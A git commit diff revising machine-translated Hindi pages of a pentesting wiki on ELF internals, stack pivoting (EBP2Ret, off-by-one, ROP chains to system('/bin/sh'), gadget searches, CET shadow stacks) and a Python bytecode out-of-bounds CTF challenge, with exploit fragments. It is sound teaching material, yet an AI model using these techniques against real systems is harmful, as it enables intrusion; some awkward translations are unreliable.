Translated ['src/binary-exploitation/basic-stack-binary-exploitation-met

This commit is contained in:
Translator 2025-08-19 09:31:24 +00:00
parent 9eeeeec260
commit 1076e85278
16 changed files with 443 additions and 502 deletions

View File

@ -881,7 +881,6 @@
- [Interesting Http](todo/interesting-http.md)
- [Rust Basics](todo/rust-basics.md)
- [More Tools](todo/more-tools.md)
- [MISC](todo/misc.md)
- [Hardware Hacking](todo/hardware-hacking/README.md)
- [Fault Injection Attacks](todo/hardware-hacking/fault_injection_attacks.md)
- [I2C](todo/hardware-hacking/i2c.md)

View File

@ -4,7 +4,7 @@
## प्रोग्राम हेडर
यह लोडर को बताता है कि **ELF** को मेमोरी में कैसे लोड किया जाए:
यह लोडर को बताता है कि **ELF** को मेमोरी में कैसे लोड करना है:
```bash
readelf -lW lnstat
@ -165,7 +165,7 @@ CONTENTS, READONLY
### मेटा अनुभाग
- **स्ट्रिंग तालिका**: इसमें ELF फ़ाइल द्वारा आवश्यक सभी स्ट्रिंग्स होती हैं (लेकिन वे जो वास्तव में प्रोग्राम द्वारा उपयोग की जाती हैं)। उदाहरण के लिए, इसमें अनुभाग के नाम जैसे `.text` या `.data` होते हैं। और यदि `.text` स्ट्रिंग तालिका में ऑफ़सेट 45 पर है, तो यह **नाम** फ़ील्ड में संख्या **45** का उपयोग करेगा।
- **स्ट्रिंग तालिका**: इसमें ELF फ़ाइल द्वारा आवश्यक सभी स्ट्रिंग्स होती हैं (लेकिन वे जो वास्तव में प्रोग्राम द्वारा उपयोग नहीं की जाती हैं)। उदाहरण के लिए, इसमें अनुभाग के नाम जैसे `.text` या `.data` होते हैं। और यदि `.text` स्ट्रिंग तालिका में ऑफ़सेट 45 पर है, तो यह **नाम** फ़ील्ड में संख्या **45** का उपयोग करेगा।
- स्ट्रिंग तालिका का स्थान खोजने के लिए, ELF में स्ट्रिंग तालिका के लिए एक पॉइंटर होता है।
- **सिंबल तालिका**: इसमें प्रतीकों के बारे में जानकारी होती है जैसे नाम (स्ट्रिंग तालिका में ऑफ़सेट), पता, आकार और प्रतीक के बारे में अधिक मेटाडेटा।
@ -249,19 +249,19 @@ Tag Type Name/Value
0x000000006ffffff9 (RELACOUNT) 15
0x0000000000000000 (NULL) 0x0
```
The NEEDED directory यह संकेत करता है कि प्रोग्राम को जारी रखने के लिए **उल्लेखित लाइब्रेरी को लोड करने की आवश्यकता है**। NEEDED directory तब पूरी होती है जब साझा **लाइब्रेरी पूरी तरह से कार्यात्मक और उपयोग के लिए तैयार** होती है।
The NEEDED directory यह संकेत करता है कि प्रोग्राम **उल्लेखित लाइब्रेरी को लोड करने की आवश्यकता है** ताकि यह जारी रह सके। NEEDED directory तब पूरी होती है जब साझा **लाइब्रेरी पूरी तरह से कार्यात्मक और उपयोग के लिए तैयार** होती है।
### डायनामिक लोडर खोज क्रम (RPATH/RUNPATH, $ORIGIN)
`DT_RPATH` (deprecated) और/या `DT_RUNPATH` यह प्रभावित करते हैं कि डायनामिक लोडर निर्भरताओं के लिए कहाँ खोजता है। मोटे तौर पर क्रम:
- `LD_LIBRARY_PATH` (setuid/sgid या अन्यथा "सुरक्षित-निष्पादन" प्रोग्रामों के लिए अनदेखा)
- `LD_LIBRARY_PATH` (setuid/sgid या अन्य "सुरक्षित-निष्पादन" प्रोग्रामों के लिए अनदेखा किया गया)
- `DT_RPATH` (केवल यदि `DT_RUNPATH` अनुपस्थित है)
- `DT_RUNPATH`
- `ld.so.cache`
- डिफ़ॉल्ट निर्देशिकाएँ जैसे `/lib64`, `/usr/lib64`, आदि।
`$ORIGIN` को RPATH/RUNPATH के अंदर मुख्य ऑब्जेक्ट के निर्देशिका का संदर्भ देने के लिए उपयोग किया जा सकता है। एक हमलावर के दृष्टिकोण से, यह तब महत्वपूर्ण होता है जब आप फ़ाइल सिस्टम लेआउट या वातावरण को नियंत्रित करते हैं। मजबूत बाइनरी (AT_SECURE) के लिए अधिकांश पर्यावरण चर लोडर द्वारा अनदेखा किए जाते हैं।
`$ORIGIN` को RPATH/RUNPATH के अंदर मुख्य ऑब्जेक्ट के निर्देशिका को संदर्भित करने के लिए उपयोग किया जा सकता है। एक हमलावर के दृष्टिकोण से, यह तब महत्वपूर्ण होता है जब आप फ़ाइल सिस्टम लेआउट या वातावरण को नियंत्रित करते हैं। मजबूत बाइनरी (AT_SECURE) के लिए अधिकांश पर्यावरण चर लोडर द्वारा अनदेखा किए जाते हैं।
- निरीक्षण करें: `readelf -d ./bin | egrep -i 'r(path|unpath)'`
- त्वरित परीक्षण: `LD_DEBUG=libs ./bin 2>&1 | grep -i find` (खोज पथ निर्णय दिखाता है)
@ -344,13 +344,13 @@ Offset Info Type Sym. Value Sym. Name + Addend
```
### स्थिर पुनर्स्थापनाएँ
यदि **कार्यक्रम एक अलग स्थान पर लोड होता है** जो पसंदीदा पते (आमतौर पर 0x400000) से भिन्न है क्योंकि पता पहले से ही उपयोग में है या **ASLR** या किसी अन्य कारण से, तो एक स्थिर पुनर्स्थापन **पॉइंटर्स को सही करता है** जिनके मानों ने बाइनरी के पसंदीदा पते पर लोड होने की अपेक्षा की थी
यदि **कार्यक्रम एक अलग स्थान पर लोड होता है** जो पसंदीदा पते (आमतौर पर 0x400000) से भिन्न है क्योंकि पता पहले से ही उपयोग में है या **ASLR** या किसी अन्य कारण से, तो एक स्थिर पुनर्स्थापन **पॉइंटर्स को सही करता है** जिनके मानों की अपेक्षा थी कि बाइनरी को पसंदीदा पते पर लोड किया जाएगा
उदाहरण के लिए, `R_AARCH64_RELATIV` प्रकार के किसी भी अनुभाग को पुनर्स्थापन पूर्वाग्रह के साथ पते को संशोधित करना चाहिए और जोड़ने वाले मान को जोड़ना चाहिए।
### गतिशील पुनर्स्थापनाएँ और GOT
पुनर्स्थापन एक बाहरी प्रतीक (जैसे किसी निर्भरता से एक फ़ंक्शन) को भी संदर्भित कर सकता है। जैसे कि libC से malloc फ़ंक्शन। फिर, लोडर जब libC को एक पते पर लोड करता है, तो यह जांचता है कि malloc फ़ंक्शन कहाँ लोड हुआ है, यह पता GOT (ग्लोबल ऑफसेट टेबल) तालिका में लिखता है (जो पुनर्स्थापन तालिका में इंगित किया गया है) जहाँ malloc का पता निर्दिष्ट किया जाना चाहिए।
पुनर्स्थापन एक बाहरी प्रतीक (जैसे किसी निर्भरता से एक फ़ंक्शन) को भी संदर्भित कर सकता है। जैसे कि libC से malloc फ़ंक्शन। फिर, लोडर जब libC को एक पते पर लोड करता है, तो malloc फ़ंक्शन लोड होने के स्थान की जांच करते समय, यह पता GOT (ग्लोबल ऑफसेट टेबल) तालिका में लिखेगा (जो पुनर्स्थापन तालिका में निर्दिष्ट है) जहां malloc का पता निर्दिष्ट किया जाना चाहिए।
### प्रक्रिया लिंक तालिका
@ -368,7 +368,7 @@ PLT अनुभाग आलसी बाइंडिंग करने की
- `-fno-plt` संकलक को **GOT प्रविष्टि सीधे** बाहरी फ़ंक्शनों को कॉल करने के लिए बनाता है बजाय PLT स्टब के माध्यम से जाने के। आप कॉल अनुक्रम देखेंगे जैसे `mov reg, [got]; call reg` बजाय `call func@plt` के। यह अनुमानित-कार्य निष्पादन के दुरुपयोग को कम करता है और PLT स्टब के चारों ओर ROP गैजेट शिकार को थोड़ा बदलता है।
- PIE बनाम स्थिर-PIE: PIE (ET_DYN के साथ `INTERP`) गतिशील लोडर की आवश्यकता होती है और सामान्य PLT/GOT मशीनरी का समर्थन करता है। स्थिर-PIE (ET_DYN बिना `INTERP`) में पुनर्स्थापनाएँ कर्नेल लोडर द्वारा लागू की जाती हैं और कोई `ld.so` नहीं होता; रनटाइम पर PLT समाधान की अपेक्षा न करें।
- PIE बनाम स्थिर-PIE: PIE (ET_DYN के साथ `INTERP`) गतिशील लोडर की आवश्यकता होती है और सामान्य PLT/GOT मशीनरी का समर्थन करता है। स्थिर-PIE (ET_DYN बिना `INTERP`) में पुनर्स्थापनें कर्नेल लोडर द्वारा लागू की जाती हैं और कोई `ld.so` नहीं होता; रनटाइम पर PLT समाधान की अपेक्षा न करें।
> यदि GOT/PLT एक विकल्प नहीं है, तो अन्य लिखने योग्य कोड-पॉइंटर्स पर स्विच करें या libc में क्लासिक ROP/SROP का उपयोग करें।
@ -378,7 +378,7 @@ PLT अनुभाग आलसी बाइंडिंग करने की
## कार्यक्रम प्रारंभिककरण
कार्यक्रम के लोड होने के बाद इसे चलाने का समय होता है। हालाँकि, जो पहला कोड चलाया जाता है वह हमेशा `main` फ़ंक्शन नहीं होता है। इसका कारण यह है कि उदाहरण के लिए C++ में यदि एक **वैश्विक चर एक वर्ग का ऑब्जेक्ट है**, तो इस ऑब्जेक्ट को **main चलने से पहले** **आरंभ** किया जाना चाहिए, जैसे कि:
कार्यक्रम के लोड होने के बाद इसे चलाने का समय होता है। हालाँकि, जो पहला कोड चलाया जाता है वह हमेशा `main` फ़ंक्शन नहीं होता है। इसका कारण यह है कि उदाहरण के लिए C++ में यदि एक **वैश्विक चर एक वर्ग का ऑब्जेक्ट है**, तो इस ऑब्जेक्ट को **main चलने से पहले** **आरंभ** किया जाना चाहिए, जैसे:
```cpp
#include <stdio.h>
// g++ autoinit.cpp -o autoinit
@ -424,10 +424,10 @@ Moreover, it's also possible to have a **`PREINIT_ARRAY`** with **pointers** tha
### Initialization Order
1. प्रोग्राम मेमोरी में लोड होता है, स्थिर वैश्विक चर **`.data`** में प्रारंभिक होते हैं और अनियोजित शून्य होते हैं **`.bss`** में।
2. प्रोग्राम या पुस्तकालयों के सभी **dependencies** **initialized** होते हैं और **dynamic linking** निष्पादित होता है।
3. **`PREINIT_ARRAY`** कार्य निष्पादित होते हैं
4. **`INIT_ARRAY`** कार्य निष्पादित होते हैं
1. प्रोग्राम को मेमोरी में लोड किया जाता है, स्थिर वैश्विक चर **`.data`** में प्रारंभिक किया जाता है और अनियोजित वाले **`.bss`** में शून्य किए जाते हैं।
2. प्रोग्राम या पुस्तकालयों के सभी **dependencies** को **initialized** किया जाता है और **dynamic linking** को निष्पादित किया जाता है।
3. **`PREINIT_ARRAY`** कार्यों को निष्पादित किया जाता है
4. **`INIT_ARRAY`** कार्यों को निष्पादित किया जाता है
5. यदि कोई **`INIT`** प्रविष्टि है, तो इसे कॉल किया जाता है।
6. यदि एक पुस्तकालय है, तो dlopen यहाँ समाप्त होता है, यदि एक प्रोग्राम है, तो **real entry point** (`main` function) को कॉल करने का समय है।

View File

@ -22,28 +22,28 @@ And as the saved **EBP/RBP is in the stack** before the saved EIP/RIP, it's poss
यह तकनीक विशेष रूप से उपयोगी है जब आप **सहेजे गए EBP/RBP को बदल सकते हैं लेकिन EIP/RIP को सीधे बदलने का कोई तरीका नहीं है**। यह फ़ंक्शन एपिलॉग व्यवहार का लाभ उठाता है।
यदि, `fvuln` के निष्पादन के दौरान, आप स्टैक में एक **फर्जी EBP** इंजेक्ट करने में सफल होते हैं जो मेमोरी के उस क्षेत्र की ओर इशारा करता है जहां आपका शेलकोड/ROP श्रृंखला पता स्थित है (amd64 पर 8 बाइट्स / x86 पर 4 बाइट्स `pop` के लिए), तो आप अप्रत्यक्ष रूप से RIP को नियंत्रित कर सकते हैं। जैसे ही फ़ंक्शन लौटता है, `leave` RSP को तैयार स्थान पर सेट करता है और अगला `pop rbp` RSP को कम करता है, **जिससे यह उस पते की ओर इशारा करता है जो हमलावर द्वारा वहां संग्रहीत किया गया है**। फिर `ret` उस पते का उपयोग करेगा।
यदि, `fvuln` के निष्पादन के दौरान, आप स्टैक में एक **फर्जी EBP** इंजेक्ट करने में सफल होते हैं जो मेमोरी के उस क्षेत्र की ओर इशारा करता है जहां आपका शेलकोड/ROP श्रृंखला पता स्थित है (amd64 पर 8 बाइट्स / x86 पर 4 बाइट्स `pop` के लिए), तो आप अप्रत्यक्ष रूप से RIP को नियंत्रित कर सकते हैं। जैसे ही फ़ंक्शन लौटता है, `leave` RSP को तैयार स्थान पर सेट करता है और अगला `pop rbp` RSP को कम करता है, **जिससे यह उस पते की ओर इशारा करता है जिसे हमलावर ने वहां संग्रहीत किया है**। फिर `ret` उस पते का उपयोग करेगा।
ध्यान दें कि आपको **2 पते जानने की आवश्यकता है**: वह पता जहां ESP/RSP जाने वाला है, और उस पते पर संग्रहीत मान ज `ret` उपभोग करेगा।
ध्यान दें कि आपको **2 पते जानने की आवश्यकता है**: वह पता जहां ESP/RSP जाने वाला है, और उस पते पर संग्रहीत मान जिसे `ret` उपभोग करेगा।
#### Exploit Construction
पहले आपको एक **पते के बरे में जानने की आवश्यकता है जहां आप मनमाने डेटा/पते लिख सकते हैं**। RSP यहाँ इशारा करेगा और **पहला `ret` उपभोग करेगा**
पहले आपको एक **पता जानने की आवश्यकता है जहां आप मनमाने डेटा/पते लिख सकते हैं**। RSP यहाँ इशारा करेगा और **पहला `ret` उपभोग करेगा**
फिर, आपको उस पते का चयन करने की आवश्यकता है जिसका उपयोग `ret` करेगा जो **निष्पादन स्थानांतरित करेगा**। आप उपयोग कर सकते हैं:
फिर, आपको उस पते का चयन करने की आवश्यकता है जिसका उपयोग `ret` द्वारा **निष्पादन स्थानांतरित करने के लिए** किया जाएगा। आप उपयोग कर सकते हैं:
- एक मान्य [**ONE_GADGET**](https://github.com/david942j/one_gadget) पता।
- **`system()`** का पता उसके उपयुक्त लौटने और तर्कों के साथ (x86 पर: `ret` लक्ष्य = `&system`, फिर 4 जंक बाइट्स, फिर `&"/bin/sh"`).
- एक **`jmp esp;`** गैजेट ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) के पते के साथ इनलाइन शेलकोड
- एक **`jmp esp;`** गैजेट ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) का पता जो इनलाइन शेलकोड के साथ है
- एक [**ROP**](../rop-return-oriented-programing/index.html) श्रृंखला जो लिखने योग्य मेमोरी में स्टेज की गई है।
याद रखें कि नियंत्रित क्षेत्र में इन पते से पहले, `leave` से **`pop ebp/rbp`** के लिए **स्थान होना चाहिए** (amd64 पर 8B, x86 पर 4B)। आप इन बाइट्स का दुरुपयोग कर हैं ताकि एक **दूसरा फर्जी EBP** सेट किया जा सके और पहले कॉल के लौटने के बाद नियंत्रण बनाए रखा जा सके।
याद रखें कि नियंत्रित क्षेत्र में इन पते से पहले, `leave` से **`pop ebp/rbp`** के लिए **स्थान होना चाहिए** (amd64 पर 8B, x86 पर 4B)। आप इन बाइट्स का दुरुपयोग करके एक **दूसरा फर्जी EBP** सेट कर सकते हैं और पहले कॉल के लौटने के बाद नियंत्रण बनाए रख सक हैं
#### Off-By-One Exploit
एक भिन्नता है जिसका उपयोग तब किया जाता है जब आप **सहेजे गए EBP/RBP के सबसे कम महत्वपूर्ण बाइट को केवल संशोधित कर सकते हैं**। ऐसे मामले में, मेमोरी स्थान जो **`ret`** के साथ कूदने के लिए पता संग्रहीत करता है, को मूल EBP/RBP के साथ पहले तीन/पांच बाइट्स साझा करना चाहिए ताकि 1-बाइट ओवरराइट इसे पुनर्निर्देशित कर सके। आमतौर पर निम्न बाइट (ऑफसेट 0x00) को निकटतम पृष्ठ/संरेखित क्षेत्र के भीतर जितना संभव हो उतना कूदने के लिए बढ़ाया जाता है।
एक भिन्नता है जिसका उपयोग तब किया जाता है जब आप **सहेजे गए EBP/RBP के सबसे कम महत्वपूर्ण बाइट को केवल संशोधित कर सकते हैं**। ऐसे मामले में, मेमोरी स्थान जो **`ret`** के साथ कूदने के लिए पता संग्रहीत करता है, को मूल EBP/RBP के साथ पहले तीन/पांच बाइट्स साझा करना चाहिए ताकि 1-बाइट ओवरराइट इसे पुनर्निर्देशित कर सके। आमतौर पर निम्न बाइट (ऑफसेट 0x00) को निकटतम पृष्ठ/संरेखित क्षेत्र के भीतर जितना संभव हो सके कूदने के लिए बढ़ाया जाता है।
यह भी सामान्य है कि स्टैक में एक RET स्लेड का उपयोग किया जाए और असली ROP श्रृंखला को अंत में रखा जाए ताकि यह अधिक संभावित हो कि नया RSP स्लेड के अंदर इशारा करता है और अंतिम ROP श्रृंखला निष्पादित होती है।
स्टैक में RET स्लेड का उपयोग करना और असली ROP श्रृंखला को अंत में रखना भी सामान्य है ताकि यह अधिक संभावित हो कि नया RSP स्लेड के अंदर इशारा करता है और अंतिम ROP श्रृंखला निष्पादित होती है।
### EBP Chaining
@ -56,7 +56,7 @@ And as the saved **EBP/RBP is in the stack** before the saved EIP/RIP, it's poss
- `&(leave;ret)` -> `system` समाप्त होने के बाद, RSP को अगले फर्जी EBP पर ले जाता है और जारी रहता है।
- `&("/bin/sh")` -> `system` के लिए तर्क।
इस तरह यह संभव है कि कई फर्जी EBPs को जोड़कर कार्यक्रम के प्रवाह को नियंत्रित किया जा सके
इस तरह यह संभव है कि कई फर्जी EBPs को जोड़कर कार्यक्रम के प्रवाह को नियंत्रित किया जा
यह एक [ret2lib](../rop-return-oriented-programing/ret2lib/index.html) की तरह है, लेकिन अधिक जटिल और केवल किनारे के मामलों में उपयोगी है।
@ -96,13 +96,13 @@ pause()
p.sendline(payload)
print(p.recvline())
```
> amd64 संरेखण टिप: System V ABI कॉल साइट्स पर 16-बाइट स्टैक संरेखण की आवश्यकता होती है। यदि आपकी श्रृंखला `system` जैसी फ़ंक्शंस को कॉल करती है, तो संरेखण बनाए रखने और `movaps` क्रैश से बचने के लिए कॉल से पहले एक संरेखण गैजेट (जैसे, `ret`, या `sub rsp, 8 ; ret`) जोड़ें।
> amd64 alignment tip: System V ABI को कॉल साइट्स पर 16-बाइट स्टैक संरेखण की आवश्यकता होती है। यदि आपकी श्रृंखला `system` जैसी फ़ंक्शंस को कॉल करती है, तो संरेखण बनाए रखने और `movaps` क्रैश से बचने के लिए कॉल से पहले एक संरेखण गैजेट (जैसे, `ret`, या `sub rsp, 8 ; ret`) जोड़ें।
## EBP का उपयोग नहीं किया जा सकता
जैसा कि [**इस पोस्ट में समझाया गया है**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), यदि कोई बाइनरी कुछ ऑप्टिमाइजेशन के साथ या फ्रेम-पॉइंटर ओमिशन के साथ संकलित की गई है, तो **EBP/RBP कभी भी ESP/RSP को नियंत्रित नहीं करता**। इसलिए, EBP/RBP को नियंत्रित करके काम करने वाला कोई भी एक्सप्लॉइट विफल हो जाएगा क्योंकि प्रोलॉग/एपिलॉग फ्रेम पॉइंटर से पुनर्स्थापित नहीं करता।
- अनुकूलित नहीं किया गया / फ्रेम पॉइंटर का उपयोग किया गया:
- ऑप्टिमाइज नहीं किया गया / फ्रेम पॉइंटर का उपयोग किया गया:
```bash
push %ebp # save ebp
mov %esp,%ebp # set new ebp
@ -182,7 +182,7 @@ xchg <reg>, rsp
```
### jmp esp
यहाँ ret2esp तकनीक की जाँच करें:
ret2esp तकनीक की जांच करें यहाँ:
{{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md
@ -206,17 +206,17 @@ ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
```
### क्लासिक पिवट स्टेजिंग पैटर्न
### Classic pivot staging pattern
एक मजबूत पिवट रणनीति जो कई CTFs/exploits में उपयोग की जाती है:
1) एक छोटे प्रारंभिक ओवरफ्लो का उपयोग करें ताकि `read`/`recv` को एक बड़े लिखने योग्य क्षेत्र (जैसे, `.bss`, heap, या मैप किए गए RW मेमोरी) में कॉल किया जा सके और वहां एक पूर्ण ROP चेन रखी जा सके।
1) एक छोटे प्रारंभिक ओवरफ्लो का उपयोग करें ताकि `read`/`recv` को एक बड़े लिखने योग्य क्षेत्र (जैसे, `.bss`, heap, या मैप किए गए RW मेमोरी) में कॉल किया जा सके और वहां एक पूर्ण ROP श्रृंखला रखी जा सके।
2) एक पिवट गैजेट (`leave ; ret`, `pop rsp`, `xchg rax, rsp ; ret`) में लौटें ताकि RSP को उस क्षेत्र में ले जाया जा सके।
3) स्टेज्ड चेन के साथ जारी रखें (जैसे, libc लीक करें, `mprotect` कॉल करें, फिर `read` शेलकोड, फिर उस पर कूदें)।
3) स्टेज की गई श्रृंखला के साथ जारी रखें (जैसे, libc लीक करें, `mprotect` कॉल करें, फिर `read` शेलकोड, फिर उस पर कूदें)।
## आधुनिक रोकथाम जो स्टैक पिवटिंग को तोड़ती हैं (CET/शैडो स्टैक)
## Modern mitigations that break stack pivoting (CET/Shadow Stack)
आधुनिक x86 CPUs और OSes बढ़ती हुई **CET शैडो स्टैक (SHSTK)** को लागू करते हैं। SHSTK सक्षम होने पर, `ret` सामान्य स्टैक पर लौटने के पते की तुलना हार्डवेयर-सुरक्षित शैडो स्टैक से करता है; कोई भी असंगति एक नियंत्रण-सुरक्षा दोष उठाती है और प्रक्रिया को समाप्त कर देती है। इसलिए, EBP2Ret/leave;ret-आधारित पिवट जैसी तकनीकें पहले `ret` के पिवटेड स्टैक से निष्पादित होते ही क्रैश हो जाएंगी।
आधुनिक x86 CPUs और OSes लगातार **CET Shadow Stack (SHSTK)** को लागू कर रहे हैं। SHSTK सक्षम होने पर, `ret` सामान्य स्टैक पर लौटने के पते की तुलना हार्डवेयर-सुरक्षित शैडो स्टैक से करता है; कोई भी असंगति एक नियंत्रण-सुरक्षा दोष उठाती है और प्रक्रिया को समाप्त कर देती है। इसलिए, EBP2Ret/leave;ret-आधारित पिवट जैसी तकनीकें पहले `ret` के पिवटेड स्टैक से निष्पादित होते ही क्रैश हो जाएंगी।
- पृष्ठभूमि और गहरे विवरण के लिए देखें:
@ -224,7 +224,7 @@ ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
{{#endref}}
- लिनक्स पर त्वरित जांच:
- Linux पर त्वरित जांच:
```bash
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
@ -246,7 +246,7 @@ grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wr
## ARM64
ARM64 में, कार्यों के **प्रोलॉग और एपिलॉग** स्टैक में **SP रजिस्टर** को स्टोर और पुनर्प्राप्त नहीं करते हैं। इसके अलावा, **`RET`** निर्देश SP द्वारा इंगित पते पर वापस नहीं लौटता है, बल्कि **`x30`** के अंदर के पते पर लौटता है।
ARM64 में, कार्यों के **प्रोलॉग और एपिलॉग** स्टैक में **SP रजिस्टर** को स्टोर और पुन प्राप्त नहीं करते हैं। इसके अलावा, **`RET`** निर्देश SP द्वारा इंगित पते पर वापस नहीं लौटता है, बल्कि **`x30`** के अंदर के पते पर लौटता है।
इसलिए, डिफ़ॉल्ट रूप से, केवल एपिलॉग का दुरुपयोग करके आप **SP रजिस्टर को नियंत्रित नहीं कर पाएंगे** कुछ डेटा को स्टैक के अंदर ओवरराइट करके। और यदि आप SP को नियंत्रित करने में सफल होते हैं, तो भी आपको **`x30`** रजिस्टर को नियंत्रित करने का एक तरीका चाहिए।
@ -267,7 +267,7 @@ ret
```
> [!CAUTION]
> ARM64 में स्टैक पिवटिंग के समान कुछ करने का तरीका होगा **`SP`** को नियंत्रित करना (किसी रजिस्टर को नियंत्रित करके जिसका मान `SP` को पास किया जाता है या क्योंकि किसी कारणवश `SP` अपना पता स्टैक से ले रहा है और हमारे पास एक ओवरफ्लो है) और फिर **एपिलॉग का दुरुपयोग** करके **`x30`** रजिस्टर को **नियंत्रित `SP`** से लोड करना और **`RET`** करना।
> ARM64 में स्टैक पिवटिंग के समान कुछ करने का तरीका होगा **`SP`** को नियंत्रित करना (किसी रजिस्टर को नियंत्रित करके जिसका मान `SP` को पास किया जाता है या क्योंकि किसी कारणवश `SP` स्टैक से अपना पता ले रहा है और हमारे पास एक ओवरफ्लो है) और फिर **एपिलॉग का दुरुपयोग** करके **`x30`** रजिस्टर को **नियंत्रित `SP`** से लोड करना और **`RET`** करना।
इसके अलावा, निम्नलिखित पृष्ठ पर आप **ARM64 में Ret2esp** का समकक्ष देख सकते हैं:
@ -280,9 +280,9 @@ ret
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
- 64 बिट्स, एक रोप श्रृंखला के साथ एक रिट स्लेड से एक ऑफ बाय वन शोषण
- 64 बिट, एक रेट स्लेड के साथ एक रोप चेन के साथ एक से बाहर का शोषण
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
- 64 बिट, कोई relro, कैनरी, nx और pie नहीं। प्रोग्राम स्टैक या pie के लिए एक लीक और एक qword का WWW प्रदान करता है। पहले स्टैक लीक प्राप्त करें और वापस जाने के लिए WWW का उपयोग करें और pie लीक प्राप्त करें। फिर WWW का उपयोग करके एक शाश्वत लूप बनाएं जो `.fini_array` प्रविष्टियों का दुरुपयोग करता है + `__libc_csu_fini` को कॉल करता है ([यहां अधिक जानकारी](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). इस "शाश्वत" लेखन का दुरुपयोग करते हुए, .bss में एक ROP श्रृंखला लिखी जाती है और अंततः इसे RBP के साथ पिवटिंग करते हुए कॉल किया जाता है।
- 64 बिट, कोई relro, कैनरी, nx और pie नहीं। प्रोग्राम स्टैक या pie के लिए एक लीक और एक qword का WWW प्रदान करता है। पहले स्टैक लीक प्राप्त करें और WWW का उपयोग कर वापस जाएं और pie लीक प्राप्त करें। फिर WWW का उपयोग करके एक शाश्वत लूप बनाएं जो `.fini_array` प्रविष्टियों का दुरुपयोग करता है + `__libc_csu_fini` को कॉल करता है ([यहां अधिक जानकारी](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). इस "शाश्वत" लेखन का दुरुपयोग करते हुए, .bss में एक ROP चेन लिखी जाती है और अंततः इसे RBP के साथ पिवटिंग करते हुए कॉल किया जाता है।
- Linux कर्नेल दस्तावेज़: नियंत्रण-प्रवाह प्रवर्तन प्रौद्योगिकी (CET) छाया स्टैक — SHSTK, `nousershstk`, `/proc/$PID/status` ध्वज, और `arch_prctl` के माध्यम से सक्षम करने के विवरण। https://www.kernel.org/doc/html/next/x86/shstk.html
- Microsoft Learn: कर्नेल मोड हार्डवेयर-प्रवर्तन स्टैक सुरक्षा (Windows पर CET छाया स्टैक्स)। https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection

View File

@ -2,7 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
**यह जानकारी** [**इस लेख से ली गई है**](https://blog.splitline.tw/hitcon-ctf-2022/)****
**यह जानकारी** [**इस लेख से ली गई है**](https://blog.splitline.tw/hitcon-ctf-2022/)**.**
### TL;DR <a href="#tldr-2" id="tldr-2"></a>
@ -19,7 +19,7 @@ if len(source) > 13337: exit(print(f"{'L':O<13337}NG"))
code = compile(source, '∅', 'eval').replace(co_consts=(), co_names=())
print(eval(code, {'__builtins__': {}}))1234
```
आप मनमाने Python कोड को इनपुट कर सकते हैं, और इसे [Python कोड ऑब्जेक्ट](https://docs.python.org/3/c-api/code.html) में संकलित किया जाएगा। हालाँकि, उस कोड ऑब्जेक्ट के `co_consts` और `co_names` को eval करने से पहले एक खाली ट्यूपल के साथ बदल दिया जाएगा।
आप मनमाने Python कोड को इनपुट कर सकते हैं, और इसे [Python कोड ऑब्जेक्ट](https://docs.python.org/3/c-api/code.html) में संकलित किया जाएगा। हालाँकि उस कोड ऑब्जेक्ट के `co_consts` और `co_names` को eval करने से पहले एक खाली ट्यूपल के साथ बदल दिया जाएगा।
इस प्रकार, सभी अभिव्यक्तियाँ जिनमें consts (जैसे संख्याएँ, स्ट्रिंग्स आदि) या नाम (जैसे वेरिएबल्स, फ़ंक्शंस) शामिल हैं, अंत में सेगमेंटेशन फॉल्ट का कारण बन सकती हैं।
@ -35,7 +35,7 @@ print(eval(code, {'__builtins__': {}}))1234
6 BUILD_LIST 3
8 RETURN_VALUE12345
```
लेकिन अगर `co_names` खाली ट्यूपल बन जाए? `LOAD_NAME 2` ऑपकोड अभी भी निष्पादित होता है, और उस मेमोरी पते से मान पढ़ने की कोशिश करता है जहाँ इसे मूल रूप से होना चाहिए था। हाँ, यह एक आउट-ऑफ-बाउंड पढ़ने की "विशेषता" है।
लेकिन अगर `co_names` खाली ट्यूपल हो जाए? `LOAD_NAME 2` ऑपकोड अभी भी निष्पादित होता है, और उस मेमोरी पते से मान पढ़ने की कोशिश करता है जहाँ इसे मूल रूप से होना चाहिए था। हाँ, यह एक आउट-ऑफ-बाउंड पढ़ने की "विशेषता" है।
समाधान का मूल सिद्धांत सरल है। CPython में कुछ ऑपकोड जैसे `LOAD_NAME` और `LOAD_CONST` OOB पढ़ने के प्रति संवेदनशील (?) हैं।
@ -80,7 +80,7 @@ FAST_DISPATCH();
24 BUILD_LIST 1
26 RETURN_VALUE1234567891011121314
```
ध्यान दें कि `LOAD_ATTR` भी `co_names` से नाम प्राप्त करता है। यदि नाम समान है, तो Python उसी ऑफसेट से नाम लोड करता है, इसलिए दूसरा `__getattribute__` अभी भी offset=5 से लोड होता है। इस विशेषता का उपयोग करके, हम मनचाहा नाम उपयोग कर सकते हैं जब नाम पास की मेमोरी में हो।
